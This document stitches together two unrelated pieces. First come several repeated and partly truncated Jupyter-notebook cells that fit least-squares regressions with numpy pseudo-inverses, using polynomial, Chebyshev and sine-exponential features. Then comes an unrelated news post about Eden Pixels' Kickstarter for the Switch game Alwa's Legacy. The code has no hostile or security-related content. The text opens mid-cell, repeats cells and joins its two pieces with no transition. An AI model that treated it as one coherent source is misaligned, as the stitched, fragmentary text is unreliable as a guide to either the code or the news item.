y1True = f(X1linPred)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin,np.square(X1lin))).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred,np.square(X1linPred))).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def f(x): # The basis function to be used. This is how our training Y relates to input X.
return 0.5*(x)*(x**4)/(.05+(x**4)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 20 # Training points
X1lin = np.linspace(0,1,X1pts) # Training interval
y1 = f(X1lin)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 40 # Prediction points
X1linPred = np.linspace(0,2,X1ptsPred)# Prediction interval
y1True = f(X1linPred)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin)).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred)).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def chf(x, n): # The basis function to be used. This is how our training Y relates to input X.
return np.cos(n*np.arccos(x)) # In real life we do not have the exact function, only inputs and outputs.
X1pts = 200 # Training points
X1lin = np.linspace(-1,0,X1pts) # Training interval
y1 = chf(X1lin, 2)+0.03*np.random.normal(0,1,X1pts)# Training results, our Ys
X1ptsPred = 400 # Prediction points
X1linPred = np.linspace(-1,1,X1ptsPred)# Prediction interval
y1True = chf(X1linPred,2)+0.03*np.random.normal(-1,1,X1ptsPred)# True results for the prediction interval
Achf = np.stack((np.ones(X1pts),X1lin,np.square(X1lin))).T # Constructing design matrix
AchfPred = np.stack((np.ones(X1ptsPred),X1linPred,np.square(X1linPred))).T # Prediction design matrix
w1hat = np.linalg.pinv(Achf).dot(y1) #Training our weights
y1pred = AchfPred.dot(w1hat) # Making our prediction, based on the weights
plt.plot(X1linPred,y1pred) # Displaying our Prediction (regression) in Blue
plt.scatter(X1linPred,y1True, color='y')# Displaying our true values in Yellow
plt.scatter(X1lin,y1, color='r') # Displaying our trainign vlaues in Red
print (w1hat)
from __future__ import division, print_function, unicode_literals
%matplotlib inline
import os
import numpy as np
import matplotlib.pyplot as plt
def slr(x): # It is used to create the training set.This is how training Y relates to input X.
return 10*np.exp(-2*x**2) +np.sin(3*x)*10 +x #The model will need to aproximate this pattern, learning from X and Y.
Xpts = 100 # Training points:100
Xlin = np.linspace(-3,3,Xpts) # Training interval [-3:3]
Y = slr(Xlin) # Training targets, our Ys
Y += 0.7*np.random.normal(0,1,Xpts) # Noise is added, as in real life, there is always distortion
XptsPred = 200 # Inference points:200 (the # of points, the learnt model will be tested on, fitting)
XlinPred = np.linspace(-10,10,XptsPred) # Inference interval [-10:10] Presentation of the power of generalization
YTrue = slr(XlinPred) # True labels for the inference interval
YTrue += 0.7*np.random.normal(0,1,XptsPred) # Will be used to validate the prediction
A = np.stack((np.ones(Xpts), Xlin, # Constructing the training features (training Design Matrix)
np.sin(3*Xlin), np.exp(-1*Xlin**2))).T
APred = np.stack((np.ones(XptsPred), XlinPred,# Constructing the inference features (inference Design Matrix)
np.sin(3*XlinPred), np.exp(-1*XlinPred**2))).T
W = np.linalg.pinv(A).dot(Y) # Training the model (weights & bias)
Ypred = APred.dot(W) # Doing inference (making a prediction, based on the model)
plt.plot(XlinPred,Ypred) # Displaying the prediction (regression) in BLUE
plt.scatter(XlinPred,YTrue, color='y') # Displaying the true labels in YELLOW
plt.scatter(Xlin,Y, color='r') # Displaying the training targets in RED
print (W)


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Alwa's Awakening Dev Eden Pixels Is Back With A 'Modern Retro' Sequel, Alwa's Legacy
Now funding on Kickstarter
by Ryan CraddockThe developer behind Alwa's Awakening is set to launch a brand new game on Switch called Alwa's Legacy, as long as it can generate the necessary funds through Kickstarter, that is.
Eden Pixels describes the new title as a "modern retro game full of dangerous dungeons, magical items and ancient secrets".
Here's a feature list and some screenshots:
Customize how you play - With our upgrade system you can choose how you want to play - Explorative, offensive or strategic. It’s your choice!
Exploration is rewarded - Don’t leave any stone unturned, the world of Alwa is filled with secrets and finding them requires you to explore and solve puzzles
A non-linear experience - Combining exploration and different item upgrades allows you to find your own way through this adventure
Looks and sounds amazing - Enjoy crisp pixel-art combined with modern effects as well as a soundtrack made by chiptune extraordinaire RushJet1
A challenge awaits - Quick reflexes are needed to navigate through the many challenging rooms and with easy-to-change settings anyone can enjoy Alwa’s Legacy
You can learn more about it and pledge your support over on the game's Kickstarter page. We imagine this has the potential to do pretty well with Switch fans - the original game's first week on the Switch eShop outperformed its first whole month on Steam.
Will you be backing this one? Are you hoping it does manage to make its way to Switch? Let us know in the comments.


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